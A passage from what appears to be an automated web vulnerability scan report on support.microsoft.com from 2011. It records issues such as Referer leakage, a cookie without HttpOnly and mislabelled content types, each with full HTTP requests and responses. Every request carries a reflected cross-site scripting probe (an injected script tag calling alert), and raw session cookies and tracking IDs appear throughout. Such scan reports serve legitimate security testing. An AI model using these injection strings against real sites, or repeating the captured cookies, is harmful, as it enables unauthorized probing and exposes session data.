22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; domain=.microsoft.com; expires=Sun, 21-Jul-2041 23:10:01 GMT; path=/
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:01 GMT
Content-Length: 71889

<html lang="en-US"><head><link title="Microsoft Support Search" type="application/opensearchdescription+xml" rel="search" href="/common/opensearchdescriptor.aspx?ln=en-us" /><meta name="ms.gsfxversion
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://support.microsoft.com
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1 HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; domain=.microsoft.com; expires=Sun, 21-Jul-2041 23:10:01 GMT; path=/
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:01 GMT
Content-Length: 71889

<html lang="en-US"><head><link title="Microsoft Support Search" type="application/opensearchdescription+xml" rel="search" href="/common/opensearchdescriptor.aspx?ln=en-us" /><meta name="ms.gsfxversion
...[SNIP]...
<img src="/library/images/support/CN/CPS_IE9_icon.png" alt="Get Internet Explorer 9 today. Free download." /> <a href="http://clk.atdmt.com/MRT/go/335774571/direct/01/">Get Internet Explorer 9 today. Free download.</a>
...[SNIP]...
</a>
<a id="ad_brnd_corpflyoutad_go" href="http://clk.atdmt.com/MRT/go/335774571/direct/01/">
<img src="/library/images/support/en-US/IE9_btn-up.png" alt="" onmouseover="this.src='/library/images/support/en-US/IE9_btn-hov.png';" onmouseout="this.src='/library/images/support/en-US/IE9_btn-up.p
...[SNIP]...
<li class="gsfx_brnd_LocalLink"><a href="http://www.microsoftstore.com/store/msstore/home?WT.mc_id=SMCBAR_ENUS_ADR_BUYALL" id="L_195944"><span>
...[SNIP]...
<div class="smlist"><a href="http://twitter.com/share" class="twitter-share-button" rel="nofollow" data-count="horizontal" data-lang="en" data-url="http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1" data-text="Microsoft Support">Twitter_Tweet</a>
...[SNIP]...
<li><a smc_tag='enduser; itpro; dev;' href='http://explore.live.com/windows-live-essentials'>Windows Live Essentials 2011</a>
...[SNIP]...
<li><a smc_tag='enduser; itpro; dev;' href='http://clk.atdmt.com/MRT/go/285697620/direct/01/'>Get Internet Explorer 9</a>
...[SNIP]...
<td style="border-left:10px; border-right:10px; text-align:center;"><a href="http://blogs.msdn.com/microsoft-help"><img src="/library/images/support/en-US/SupportBlog.png" alt="Support Blog" />
...[SNIP]...
<noscript><img alt="" id="DCSIMG" width="1" height="1" src="http://m.webtrends.com/dcsxia05c00000s926v0z4tru_3w4l/njs.gif?dcsuri=/nojavascript&WT.js=No" /></noscript>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://support.microsoft.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1 HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; domain=.microsoft.com; expires=Sun, 21-Jul-2041 23:10:01 GMT; path=/
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:01 GMT
Content-Length: 71889

<html lang="en-US"><head><link title="Microsoft Support Search" type="application/opensearchdescription+xml" rel="search" href="/common/opensearchdescriptor.aspx?ln=en-us" /><meta name="ms.gsfxversion
...[SNIP]...

6. Content type incorrectly stated  previous
There are 5 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


6.1. http://support.microsoft.com/library/images/support/CN/star.gif  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://support.microsoft.com
Path:   /library/images/support/CN/star.gif

Issue detail

The response contains the following Content-type statement:The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /library/images/support/CN/star.gif HTTP/1.1
Host: support.microsoft.com
Proxy-Connection: keep-alive
Referer: http://support.microsoft.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MC1=GUID=b99db294605ea749842ddaca50c2f3af&HASH=94b2&LV=20115&V=3; _opt_vi_X19C7L9U=1097A557-F243-4650-B6F9-421C7E65E189; MUID=E361C23374E642C998D8ABA7166A75EC; LBRN2DL=C; ixpLightBrowser=0; _vis_opt_s=1%7C; s_nr=1307360954509-Repeat; WT_NVR_RU=0=msdn|technet:1=:2=; msresearch=%7B%22version%22%3A%224.6%22%2C%22state%22%3A%7B%22name%22%3A%22IDLE%22%2C%22url%22%3Aundefined%2C%22timestamp%22%3A1308659407330%7D%2C%22lastinvited%22%3A1308659407330%2C%22userid%22%3A%2213086594073305308045977726579%22%2C%22vendorid%22%3A1%2C%22surveys%22%3A%5Bundefined%5D%7D; UserState=Returning=False&LastVisit=06/21/2011 12:33:22&UserEBacExpression=+ 0|2 + 1|8 2|1024; MSPartner2=LogUser=fd88dce7-bc7d-4fc7-a268-4d7867c372fa&RegUser=; WRUID=0; A=I&I=AxUFAAAAAAB+CQAAAIpTytFFhH8oVryAJxM8/w!!&CS=12779V000119p0002h19p00; R=200000862-6/21/2011 7:34:30|200024632-6/4/2011 17:55:19; _opt_vi_64WS79UG=20593EEE-7467-4B38-8C32-E61C8EEBF7E3; mcI=Thu, 21 Jul 2011 12:52:07 GMT; msdn=L=1033; 21661174-VID=16101514677756; tbcu_sc_prodact_master99838=0; ST_GN_EN-US=6_0_0; omniID=1306014135034_717c_5c0c_c0f0_565c9892e499; svc=silverlight%20not%20detected.; s_fv=flash%2010; s_vnum=1313879445324%26vn%3D1; mbox=session#1311287431327-36551#1311289660|check#true#1311287860; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=99687f58-cfd1-4ea7-8d3c-149b2a7b82b6&Microsoft.CreationDate=07/21/2011 22:27:13&Microsoft.LastVisitDate=07/21/2011 22:59:31&Microsoft.NumberOfVisits=11&SessionCookie.Id=3B49D7967355DF4AE8B7B98B0F102F71; MSID=Microsoft.CreationDate=05/19/2011 01:26:30&Microsoft.LastVisitDate=07/21/2011 22:59:31&Microsoft.VisitStartDate=07/21/2011 22:27:13&Microsoft.CookieId=22aa2f89-ced8-49d1-a8ca-c4379d3e1c05&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=94&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0467-1766-8023-3891; MS0=bb07287e74ab4c76920e92be6abbd3cd; .ASPXANONYMOUS=s9jQj4x-zAEkAAAAZWM5MWQ3ZWEtMTI2Yy00OGQ3LTgxNzktY2Q2NTY4YzkyODVjjx_DDX8R3uUW_dNKQejPMNtacDM1; sdninc=1; gssSITE=gn; gssTHEME=gn; gssTOOLBAR=gn; WT_FPC=id=173.193.214.243-3661456592.30151123:lv=1311278758814:ss=1311276440374; wedcsinc=6

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: image/gif
Last-Modified: Fri, 18 Mar 2011 11:59:03 GMT
Accept-Ranges: bytes
ETag: "4bafdcdf63e5cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:06:03 GMT
Content-Length: 723

.PNG
.
...IHDR................a....sRGB.........gAMA......a....    pHYs..........o.d...hIDAT8O...KSq....x.t#D.ED.E.Be..b.DP.h..R..wAu..t.]...a.d.....*..cZ..M.ns....7.....l..;.*.A>.p8..}....<.c2..l6K<.A
...[SNIP]...

6.2. http://support.microsoft.com/library/images/support/en-AU/delicious_16.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://support.microsoft.com
Path:   /library/images/support/en-AU/delicious_16.png

Issue detail

The response contains the following Content-type statement:The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /library/images/support/en-AU/delicious_16.png HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: image/png
Last-Modified: Tue, 28 Sep 2010 04:44:05 GMT
Accept-Ranges: bytes
ETag: "96b1dcc7c75ecb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:05 GMT
Content-Length: 89

GIF89a.............2t....!.......,..........*.o......K&*l..r.y.@.....i.*[.)|...7..=o+..;

6.3. http://support.microsoft.com/library/images/support/en-AU/reddit_16.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://support.microsoft.com
Path:   /library/images/support/en-AU/reddit_16.png

Issue detail

The response contains the following Content-type statement:The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /library/images/support/en-AU/reddit_16.png HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: image/png
Last-Modified: Tue, 28 Sep 2010 04:44:05 GMT
Accept-Ranges: bytes
ETag: "bbc5d0c7c75ecb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:05 GMT
Content-Length: 679

GIF89a.............A{..........G.EA<......N..geb.........B?C...p..y..f..G.......msy......N..]..G.._[X_``............E@<gu.iaf...M..U..~..M..:<:...{......$,..................pik...M?4U=1......HQX....
...[SNIP]...

6.4. http://support.microsoft.com/library/images/support/en-US/IE9_BG-img.jpg  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://support.microsoft.com
Path:   /library/images/support/en-US/IE9_BG-img.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a PNG image.

Request

GET /library/images/support/en-US/IE9_BG-img.jpg HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294; sdninc=1; gssSITE=gn; gssTHEME=gn; gssTOOLBAR=gn; gssLANG=en-us

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: image/jpeg
Last-Modified: Mon, 11 Apr 2011 05:04:15 GMT
Accept-Ranges: bytes
ETag: "a298c7e75f8cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:09 GMT
Content-Length: 58266

.PNG
.
...IHDR...............7.....sRGB.........gAMA......a....    pHYs..........o.d.../IDATx^.}...W.4qww......n@HH............
........._u{..L.6.}.{/..Lr........S..S.N..&g..yExl}.:.4bf1....X.......e..
...[SNIP]...

6.5. http://support.microsoft.com/library/svy/SiteRecruit_PageConfiguration_2944mt.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://support.microsoft.com
Path:   /library/svy/SiteRecruit_PageConfiguration_2944mt.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /library/svy/SiteRecruit_PageConfiguration_2944mt.js HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311279025048:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; 